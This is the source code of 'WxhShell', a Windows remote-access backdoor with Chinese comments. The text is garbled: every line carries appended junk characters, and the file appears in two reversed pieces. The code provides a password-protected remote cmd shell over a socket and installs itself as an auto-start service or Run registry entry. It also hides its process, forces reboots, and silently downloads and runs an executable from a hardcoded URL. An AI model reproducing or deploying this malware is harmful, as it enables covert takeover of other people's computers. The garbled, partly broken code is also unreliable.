    if(Boot(SHUTDOWN)) 3|r!*+.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p Y>-N  
    else { *js$r+4  
    closesocket(wsh); 0a 6z "K}  
    ExitThread(0); G$9|aaf`1#  
    } Z*)Y:tk)b  
    break; W<]Oo]  
    } T8TsKjqOZ  
  // 获取shell :gaeb8`t  
  case 's': { |Umfq:W`y_  
    CmdShell(wsh); N/{Yi _n  
    closesocket(wsh); dS_)ll.6z  
    ExitThread(0); {59VS Nl  
    break; LEnP"o9ZW  
  } 7h&`BS  
  // 退出 =1OAy`8  
  case 'x': { `4$Qv'X*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ":^ NLBm>5  
    CloseIt(wsh); tF g'RV{  
    break; B5H&DqWzr  
    } 1\{U<Oli  
  // 离开 -JhjTA  
  case 'q': { =&:f+!1$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B%:9P  
    closesocket(wsh); T1!Gr!=  
    WSACleanup(); 3=|2Gs?ut  
    exit(1); #33RhJu5,  
    break; ~'QeN%qadP  
        } *([)X2A@+  
  } JP,(4h *  
  } lrX0c$)  
't?7.#,6O  
  // 提示信息 ~G:2iSi(#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }cK~=@7tK  
} 8|qB 1fB  
  } C5PBfn<j  
nC.2./OwMf  
  return; :`^3MMLO  
} bKJ7vXC05  
yO,`"Dc_0  
// shell模块句柄 S<]a@9W  
int CmdShell(SOCKET sock) zpr@!76  
{ C9Z\G 3  
STARTUPINFO si; %x8`fm  
ZeroMemory(&si,sizeof(si)); <eFAI}=s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J[Yg]6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CC(*zrOd-  
PROCESS_INFORMATION ProcessInfo; -YjgS/g  
char cmdline[]="cmd"; ME@6.*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h 4.=sbzZ  
  return 0;  ; zE5(3x  
} fQy C6C  
$EGRaps{j>  
// 自身启动模式 V]kGcS}  
int StartFromService(void) u}LX,B-n(  
{ m5em<P!G  
typedef struct ]v\egfW,W  
{ ) !}-\5F  
  DWORD ExitStatus; MAD}Tv\S7  
  DWORD PebBaseAddress; <RPoQ'.^  
  DWORD AffinityMask; b'oGt,  
  DWORD BasePriority; /`O]etr`d  
  ULONG UniqueProcessId; 1H,tP|s  
  ULONG InheritedFromUniqueProcessId; TFYTvUn  
}   PROCESS_BASIC_INFORMATION; G!VF*yW8  
u !3]RGJ  
PROCNTQSIP NtQueryInformationProcess; K7xWE,y  
$FusDdCv3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d O46~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {29S`-|P  
#DK3p0d  
  HANDLE             hProcess; waWKpk1Wo  
  PROCESS_BASIC_INFORMATION pbi; ^g-t#O lD?  
zIm_7\e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J1]w*2  
  if(NULL == hInst ) return 0; N>pmhskN?  
H1%[\X?=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g;!@DVF$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?X#/1X%u:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @6 ;oN  
r2GK_$vd  
  if (!NtQueryInformationProcess) return 0; \aVY>1`  
z'oiyXEE3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ./&zO{|0]  
  if(!hProcess) return 0; ,s><kHJ  
'uKkl(==%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %t`SSW7I  
ZG@M%|>  
  CloseHandle(hProcess); VwOG?5W/  
puS&S *  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m UWkb  
if(hProcess==NULL) return 0; hP1 l v7P  
B?#kW!wj  
HMODULE hMod; bKuj po6  
char procName[255]; I!@s6tG  
unsigned long cbNeeded; "\/^/vn?  
&`yOIX-H_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gh2Q$w:  
@ <OO  
  CloseHandle(hProcess); H\| ]!8w5Z  
V'"I9R'1  
if(strstr(procName,"services")) return 1; // 以服务启动 Rj} o4s2x  
4g7ja   
  return 0; // 注册表启动 ran^te^Ks(  
} WfRfx#MMt  
S~k*r{?H})  
// 主模块 R>d@tr  
int StartWxhshell(LPSTR lpCmdLine) hr[B^?6  
{ )W`SC mr]  
  SOCKET wsl; ',JrY)  
BOOL val=TRUE; 4N~+G `  
  int port=0; ,'C30A*p  
  struct sockaddr_in door; v. Xoq  
gE@$~Q>M  
  if(wscfg.ws_autoins) Install(); JYwyR++uo  
>sQ2@"y)s2  
port=atoi(lpCmdLine); w!WRa8C  
}U%^3r-  
if(port<=0) port=wscfg.ws_port; {4: -0itG  
fimb]C I|x  
  WSADATA data; ,jRcl!n`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3a#PA4Ql  
nw0L1TP/J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MCk^Tp!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (A29Z H  
  door.sin_family = AF_INET; -!J2x 8Ri  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W}XYmF*_?  
  door.sin_port = htons(port); `l>93A  
b4Cfd?'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d /B'[Ur  
closesocket(wsl); _)KY  
return 1; mG831v?  
} $s-9|Lbs`  
S~0JoCeo  
  if(listen(wsl,2) == INVALID_SOCKET) { v<;: 0  
closesocket(wsl); hojHbmm4  
return 1; |e*GzD  
} OE'K5oIM  
  Wxhshell(wsl); l#D-q/k?  
  WSACleanup(); z wL3,!t  
M[aT2A  
return 0; 7L=T]W  
@iU%`=ziz  
} .3VK;au\\  
)Fqy%uR8  
// 以NT服务方式启动 r8uqcKfU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JbE?a[Eg?  
{ E-~mOYea  
DWORD   status = 0; iOT)0@f'  
  DWORD   specificError = 0xfffffff; [J0*+C9P*  
V43nws "4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3{<R5wUo"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E'5Ajtw;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UvkJ?Bu  
  serviceStatus.dwWin32ExitCode     = 0; 1GtOA3,~;-  
  serviceStatus.dwServiceSpecificExitCode = 0; 07x=`7hs}  
  serviceStatus.dwCheckPoint       = 0; "~u_\STn <  
  serviceStatus.dwWaitHint       = 0; h|bqyu  
,>;!%Ui/p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %O#)Nq>mp  
  if (hServiceStatusHandle==0) return; TH|?X0b  
N-[n\}'  
status = GetLastError(); "JkZJ#  
  if (status!=NO_ERROR) C"6 Amnj  
{ L@w0N)P<!{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )`w=qCn1Y  
    serviceStatus.dwCheckPoint       = 0; Zta$R,[9h  
    serviceStatus.dwWaitHint       = 0; <rNtY,  
    serviceStatus.dwWin32ExitCode     = status; ht?CH Uu  
    serviceStatus.dwServiceSpecificExitCode = specificError; I-xwJi9?,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kw)K A^KF  
    return; ~&1KrUu&  
  } cV-i*L4X  
VS?dvZ1cC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ><[| G9  
  serviceStatus.dwCheckPoint       = 0; U.: sK*  
  serviceStatus.dwWaitHint       = 0; Aj,]n>{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ],n%Xp  
} i 'qMi~{  
0pD W _  
// 处理NT服务事件,比如:启动、停止 1h2H1gy5I3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qh\YR\O  
{ m$,,YKhh  
switch(fdwControl) |U#DUqw  
{ 9Uk(0A  
case SERVICE_CONTROL_STOP: /I`3dWL  
  serviceStatus.dwWin32ExitCode = 0; ;Xqn-R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d7* CwY9"  
  serviceStatus.dwCheckPoint   = 0; Yi 6Nw+$  
  serviceStatus.dwWaitHint     = 0; Rho5s@N7  
  { @0$}? 2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HOfF"QAR$  
  } qNpu}\L  
  return; N[pZIH5ho=  
case SERVICE_CONTROL_PAUSE: jZRhKT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KxY$PgcC  
  break; e#.\^   
case SERVICE_CONTROL_CONTINUE: G+U3wF],  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~;[&K%n  
  break; R2l[Q){!  
case SERVICE_CONTROL_INTERROGATE: ``!GI'^  
  break; 2}w#3K  
}; )R~aA#<>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (^LS']ybc  
} 0Q'v HZ"  
be7L="vZw  
// 标准应用程序主函数 tw=K&/@^O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x=.tiM{#  
{ S_2"7  
(#$$nQj  
// 获取操作系统版本 F"'n4|q4n  
OsIsNt=GetOsVer(); `fz,Lh*v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =`-|&  
=+<d1W`>0  
  // 从命令行安装 (3VGaUlx  
  if(strpbrk(lpCmdLine,"iI")) Install(); ),=@q+{E{  
V5AW&kfd  
  // 下载执行文件 3[r";Wt#  
if(wscfg.ws_downexe) { Z'Q*L?E8M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %*kLEA*v  
  WinExec(wscfg.ws_filenam,SW_HIDE); "}@i+oS  
} FI8k;4|V  
n$4|P O$X  
if(!OsIsNt) { MAnp{  
// 如果时win9x,隐藏进程并且设置为注册表启动 %(`#A.yaE  
HideProc(); bg}+\/78#  
StartWxhshell(lpCmdLine); cx{T '1  
} D{cZxI  
else # ORO&78  
  if(StartFromService()) OEnDsIhq  
  // 以服务方式启动 W5.Va.  
  StartServiceCtrlDispatcher(DispatchTable); L]I3P|y_  
else cD2+hp|9  
  // 普通方式启动 &Yf",KcL*I  
  StartWxhshell(lpCmdLine); n_P3\Y|  
'a#mViPTQ)  
return 0; f"Vgefk  
} A "S/^<  
%&+TbDE+T  
P]Xbjs<p  
1CkdpYjsj  
=========================================== mibpG9+d  
VYaSB?`/  
^ S  
X\\7$  
b:kXNDc  
@*(4dt:V  
" OP%?dh]  
T6Ctf#  
#include <stdio.h> OR4!YVVQ  
#include <string.h> j)by}}  
#include <windows.h> J R$r!hX  
#include <winsock2.h> \~#WY5  
#include <winsvc.h> EB!daZH,  
#include <urlmon.h> (?3[3 w~  
|TTS?  
#pragma comment (lib, "Ws2_32.lib") X3wX`V}  
#pragma comment (lib, "urlmon.lib") 'e@=^FC  
_dU8'H  
#define MAX_USER   100 // 最大客户端连接数 x6;j<m5Mjx  
#define BUF_SOCK   200 // sock buffer g?G+dnl/8  
#define KEY_BUFF   255 // 输入 buffer J#Z5^)$  
zE|Wn3_sd  
#define REBOOT     0   // 重启 c2*`2qK#  
#define SHUTDOWN   1   // 关机 `#Kx|x6  
\?Mf_  
#define DEF_PORT   5000 // 监听端口 [h&BAR/ 2  
 f:wd&V  
#define REG_LEN     16   // 注册表键长度 c0ez/q1S  
#define SVC_LEN     80   // NT服务名长度 v+=k-;-  
<&<,l58[c  
// 从dll定义API [ohBPQO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \.#p_U5In  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); " xR[mJ@U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1ibnx2^YB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R^n@.^8s  
{v` 2sB  
// wxhshell配置信息 HjA_g0u  
struct WSCFG { p'f%%#I  
  int ws_port;         // 监听端口 % /}WUP^H  
  char ws_passstr[REG_LEN]; // 口令 @hif$  
  int ws_autoins;       // 安装标记, 1=yes 0=no LA%bq_> f  
  char ws_regname[REG_LEN]; // 注册表键名 VK:8 Nk_y  
  char ws_svcname[REG_LEN]; // 服务名 AIRr{Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FT89*C)oD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y(a!YicA?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eV7 u*d?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;%!B[+ut"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DCQ^fZ/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *5V Xyt2  
%gd(wzco  
}; > cN~U3  
VDGCWg6z  
// default Wxhshell configuration "i&"* ~  
struct WSCFG wscfg={DEF_PORT, P"3*lk+w  
    "xuhuanlingzhe", P0Z! ?`e=M  
    1, Zy0aJN>  
    "Wxhshell", _&#S@aGw  
    "Wxhshell", |Au]1}  
            "WxhShell Service", L}sx<=8.m  
    "Wrsky Windows CmdShell Service", g{:<2xI5P  
    "Please Input Your Password: ", RJ4. kt  
  1, '+Xlw  
  "http://www.wrsky.com/wxhshell.exe", l=}~v  
  "Wxhshell.exe" IQH[Q9%  
    }; bb-qO#E  
g(ogXA1  
// 消息定义模块 v jT( Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3c3OG.H$8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wJ+Aw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ysi  g T  
char *msg_ws_ext="\n\rExit."; -JT/ 9IQ  
char *msg_ws_end="\n\rQuit."; EME.h&A\G`  
char *msg_ws_boot="\n\rReboot..."; Uf\nFB? ^  
char *msg_ws_poff="\n\rShutdown..."; XfYC7-e9c  
char *msg_ws_down="\n\rSave to "; j&R+2%  
W# US#<9Y  
char *msg_ws_err="\n\rErr!"; Te,$M3|  
char *msg_ws_ok="\n\rOK!"; 9 QC.TG@  
-&2B@]]  
char ExeFile[MAX_PATH]; sOU_j:A80;  
int nUser = 0; uz3 0_aH  
HANDLE handles[MAX_USER]; sEc;!L  
int OsIsNt; %~xGkk"I  
kAA>FI6  
SERVICE_STATUS       serviceStatus; ++-{]wB3=.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  #^#HuDH  
^dm!)4W  
// 函数声明 qk/:A+  
int Install(void); sTRJ:fR  
int Uninstall(void); O) atNE   
int DownloadFile(char *sURL, SOCKET wsh); ;]sYf  
int Boot(int flag); ` `U^COD  
void HideProc(void); q'Wr[A40j  
int GetOsVer(void); >rsqH+oL  
int Wxhshell(SOCKET wsl); !g!5_ |  
void TalkWithClient(void *cs); 0k,-;j,  
int CmdShell(SOCKET sock); 790-)\:CY  
int StartFromService(void); r|Z5Xc  
int StartWxhshell(LPSTR lpCmdLine); O$u"/cwe*  
J%H;%ROx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _+l1 b"^s1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p[AO' xx  
rQ`i8GF  
// 数据结构和表定义 l^MzN  
SERVICE_TABLE_ENTRY DispatchTable[] = . Dg*\ h  
{ kzn[ =P  
{wscfg.ws_svcname, NTServiceMain}, Hu3wdq  
{NULL, NULL} [U, ?R  
}; p>vU?eF  
mTNB88p8^D  
// 自我安装 IuF_M<d,  
int Install(void) Nes=;%&]G  
{ _PFnh)o  
  char svExeFile[MAX_PATH]; mLV[uhq   
  HKEY key; wI B`%V  
  strcpy(svExeFile,ExeFile); q$(5Vd:  
(6l+lru[  
// 如果是win9x系统,修改注册表设为自启动 Cqii}  
if(!OsIsNt) { RwI[R)k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6z0@I*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fs_]RfG  
  RegCloseKey(key); uc7Eq45  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %WTEv?I{Ga  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d[p;T\?"  
  RegCloseKey(key); L|-98]8>  
  return 0; Q6gt+FKU9  
    } s~I6SA&i  
  } bHLT}x/Gw  
} G;NF5`*4mc  
else { @yd4$Mv8%  
]?O2:X  
// 如果是NT以上系统,安装为系统服务 @Jm7^;9/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /S5| wNu  
if (schSCManager!=0) <@wj7\pQ  
{ 9,j-V p!G  
  SC_HANDLE schService = CreateService 8to8!(  
  ( hpTDxh'?$C  
  schSCManager, :cu #V  
  wscfg.ws_svcname, $$b 9&mTl#  
  wscfg.ws_svcdisp, m5mu:  
  SERVICE_ALL_ACCESS, !`1'2BC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8r"+bhGx~  
  SERVICE_AUTO_START, xx{!3 F  
  SERVICE_ERROR_NORMAL, eW5SFY.  
  svExeFile, Q+4tIrd+  
  NULL, h$eEn l}  
  NULL, o<IAeH {+  
  NULL, /~*_x=p:  
  NULL, jZ`;Cy\<B  
  NULL ,p(<+6QZ  
  ); 76hOB@  
  if (schService!=0) Y!iZW  
  { 8k q5ud  
  CloseServiceHandle(schService); !Z VU,b>  
  CloseServiceHandle(schSCManager); _iNq"8>2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WJ<^E"^  
  strcat(svExeFile,wscfg.ws_svcname); (=D&A<YX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lj+u@Z<xA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W>-Et7&2  
  RegCloseKey(key);  w 4[{2  
  return 0; !*- >;:9B  
    } 4DZ-bt'  
  } zO g7raIa  
  CloseServiceHandle(schSCManager); Y0?5w0{  
} ()&~@1U  
} R.=}@oPb  
CLvX!O(~  
return 1; l Va &"   
} y.KO :P?5{  
rZ8`sIWQt  
// 自我卸载 *m?/O} R  
int Uninstall(void) bfo["  
{ lHgs;>U$  
  HKEY key; Q.K,%(^;a  
cGjPxG;  
if(!OsIsNt) { McB[|PmC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8@so"d2e  
  RegDeleteValue(key,wscfg.ws_regname); y;/VB,4V  
  RegCloseKey(key); Zd"^</ S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jKt7M>P  
  RegDeleteValue(key,wscfg.ws_regname); l;o1 d-n]  
  RegCloseKey(key); (#+^&1  
  return 0; 2eMTxwt*S  
  } jLg9H/w{  
} A}eOFu`  
} *_>Lmm.yh  
else { .^B*e6DAD  
pz"0J_xDM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Lemui)  
if (schSCManager!=0) ,VO2a mI  
{ 8WnwQ%;m?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |sJSN.8  
  if (schService!=0) ZP{*.]Qu  
  { ~"A+G4jl  
  if(DeleteService(schService)!=0) { `OSN\"\ad  
  CloseServiceHandle(schService); '],J$ge  
  CloseServiceHandle(schSCManager); @S|XGf  
  return 0; 1GzAG;UUo6  
  } ,v"YqD+GC5  
  CloseServiceHandle(schService); 6Ybg^0m  
  } / m=HG^!  
  CloseServiceHandle(schSCManager); -'6Dg  
} GSH>7!.#  
} SL5Ai/X0N  
!qG7V:6  
return 1; j]`PSl+w  
} 1I:+MBGin  
O%bEB g  
// 从指定url下载文件 ](hE^\SC  
int DownloadFile(char *sURL, SOCKET wsh) KCs[/]  
{ R17?eucZ  
  HRESULT hr; h $2</J"  
char seps[]= "/"; 0Vx.nUQ  
char *token; a\r\PBi  
char *file; !r<pmr3f@7  
char myURL[MAX_PATH]; =E.wv  
char myFILE[MAX_PATH]; @;"|@!l|  
E>K!Vrh-L  
strcpy(myURL,sURL); z<Nfm  
  token=strtok(myURL,seps); 7 qS""f7  
  while(token!=NULL) -f DnA4;  
  { hIT+gnhh  
    file=token; >7 ="8  
  token=strtok(NULL,seps); i{`:(F5*  
  } v/_  
Hm*/C4B`  
GetCurrentDirectory(MAX_PATH,myFILE); \kZ?  
strcat(myFILE, "\\"); |:gf lseE  
strcat(myFILE, file); ff^=Ruf$  
  send(wsh,myFILE,strlen(myFILE),0); mHRiugb!  
send(wsh,"...",3,0); PpzP7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'tH_p  
  if(hr==S_OK) s%W C/ZK  
return 0; ,y#Kv|R  
else o2F)%TDY  
return 1; NCDvo bYJ  
u ,KD4{!  
} ?{ryGhb~  
$&n=$C&x  
// 系统电源模块 F1yqxWHeo  
int Boot(int flag) [1S|dc>.O%  
{ aht[4(XH5  
  HANDLE hToken; cz8T  
  TOKEN_PRIVILEGES tkp; {N+$Q'  
GB=X5<;  
  if(OsIsNt) { #AJM6* G9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $| @ (  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gDpVeBd[  
    tkp.PrivilegeCount = 1; 1ukTA@Rj&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EFM5,gB.m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YpVD2.jy  
if(flag==REBOOT) { T{-CkHf9Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~UP[A'9jJ  
  return 0; yd d7I&$  
} \XZ/v*d0  
else { "~|6tQLc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gi1^3R[  
  return 0; nWw":K<@Q_  
} Q~#Wf ?  
  } .(cw>7e3D  
  else { R\!2l |_  
if(flag==REBOOT) { I=`U7Bis"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fj2BnM3#  
  return 0; ;~m8;8)  
} uxr #QA  
else { S4_YT@VD%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a .k.n<  
  return 0; f*?]+rz  
} iP7(tnlW$  
} rX2.i7i,  
(@fHl=! Za  
return 1; m;GCc8  
} )"7iJb<E  
?^al9D[:lz  
// win9x进程隐藏模块 *Q "wwpl?  
void HideProc(void) Mh]Gw(?w  
{ -lY6|79bF  
<Z mg#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1~NT.tY  
  if ( hKernel != NULL ) qm/22:&v5  
  { V_.5b&@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q+{xZ'o"Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A P?R"%  
    FreeLibrary(hKernel); &w_j/nW^'  
  } YJT&{jYi  
~:s>aQ`!  
return; 12b(A+M   
} r@H /kD  
"#2a8#  
// 获取操作系统版本  iu=7O  
int GetOsVer(void) , /Z%@-rF  
{ Yi%;|]  
  OSVERSIONINFO winfo; KPKt^C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qN9(S:_Px  
  GetVersionEx(&winfo); Kqb#_hm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y51e%n$  
  return 1; NJWA3zz   
  else - M4J JV(  
  return 0; 7x|9n  
} ?N*>*"  
?]_$Dcmx  
// 客户端句柄模块 bN1|q| 9  
int Wxhshell(SOCKET wsl) f@wquG'  
{ <lPm1/8  
  SOCKET wsh; *v!9MU9[(  
  struct sockaddr_in client; BYL)nCc  
  DWORD myID; he;dq)-e9  
+V ;l6D  
  while(nUser<MAX_USER) 61C7.EZZ;  
{ 4DI8s4fi  
  int nSize=sizeof(client); P~>O S5^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H)kwQRfu  
  if(wsh==INVALID_SOCKET) return 1; #wwH m3  
|6sp/38#p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _)3|f<E_t)  
if(handles[nUser]==0) 823Y\x~>  
  closesocket(wsh); Q4#m\KK;i9  
else U)] oO  
  nUser++; /K@XzwM  
  } J?"B%B5c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {4<C_52t  
N2^=E1|_  
  return 0; c<B/V0]  
}  MzdV2.  
_^Ubs>d=*  
// 关闭 socket /|6N*>l)y  
void CloseIt(SOCKET wsh) /$Nsd  
{ V1N3iI  
closesocket(wsh); 5IGX5x  
nUser--; 24 'J  
ExitThread(0); [.7d<oY  
} xX&+WR  
_$E6P^AQ  
// 客户端请求句柄 U2#"p   
void TalkWithClient(void *cs)  ?Jm^<  
{ ].w4$OJ?  
v!~fs)cdE|  
  SOCKET wsh=(SOCKET)cs; G:<aB  
  char pwd[SVC_LEN]; &AeX   
  char cmd[KEY_BUFF]; 'x#~'v*  
char chr[1]; f643#1  
int i,j; i+ ?^8#  
C_}]`[  
  while (nUser < MAX_USER) { J5K^^RUR  
mp1@|*Sn  
if(wscfg.ws_passstr) { F]O`3 e=!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cw3 a0u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?=sDM& '  
  //ZeroMemory(pwd,KEY_BUFF); J/y83@  
      i=0; @Md/Q~>  
  while(i<SVC_LEN) { yLvDMPj  
<`=j^LU  
  // 设置超时 UERLtSQ  
  fd_set FdRead; .5_2zat0H  
  struct timeval TimeOut; 2`K=Hby  
  FD_ZERO(&FdRead); gh]cXuph  
  FD_SET(wsh,&FdRead); cA?W7D  
  TimeOut.tv_sec=8; AofKw  
  TimeOut.tv_usec=0; SwGx?U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hED}h![  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g wRZ%.Cn  
`r6,+&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q~ w|#  
  pwd=chr[0]; Rsm^Z!sn  
  if(chr[0]==0xd || chr[0]==0xa) { Vx u0F]%  
  pwd=0; tCH!my_  
  break; L ca}J&x]^  
  } v0{i0%d,?  
  i++; W:2( .?  
    } $t[FH&c(  
Ty?cC**  
  // 如果是非法用户,关闭 socket z2~ til  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *Hn8)x}E  
} kS);xA8s]  
j_?FmX _  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $ bR~+C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eu-*?]&Di  
0Th&iA4  
while(1) { %YscBG  
97*p+T<yp  
  ZeroMemory(cmd,KEY_BUFF); Ynj,pl  
=&]g "a'  
      // 自动支持客户端 telnet标准   b2Fe<~S{  
  j=0; K($Npuu]  
  while(j<KEY_BUFF) { 6<QQ@5_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @Cyvf5|bL  
  cmd[j]=chr[0]; 4xje$/_d  
  if(chr[0]==0xa || chr[0]==0xd) { WSB 0~+  
  cmd[j]=0; sY&IquK^  
  break; B~ GbF*j  
  } ! n@KU!&k  
  j++; N =}A Z{$  
    } 83_h J  
013x8!i  
  // 下载文件 #=A)XlZMd  
  if(strstr(cmd,"http://")) { e X|m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AQvudx)@"  
  if(DownloadFile(cmd,wsh)) 6A-|[(NS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 904}Jh,  
  else G5 WVr$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |u<7?)mp  
  } ",; H`V  
  else { .M%}X7  
qo bc<-  
    switch(cmd[0]) { Ve; n}mJ?  
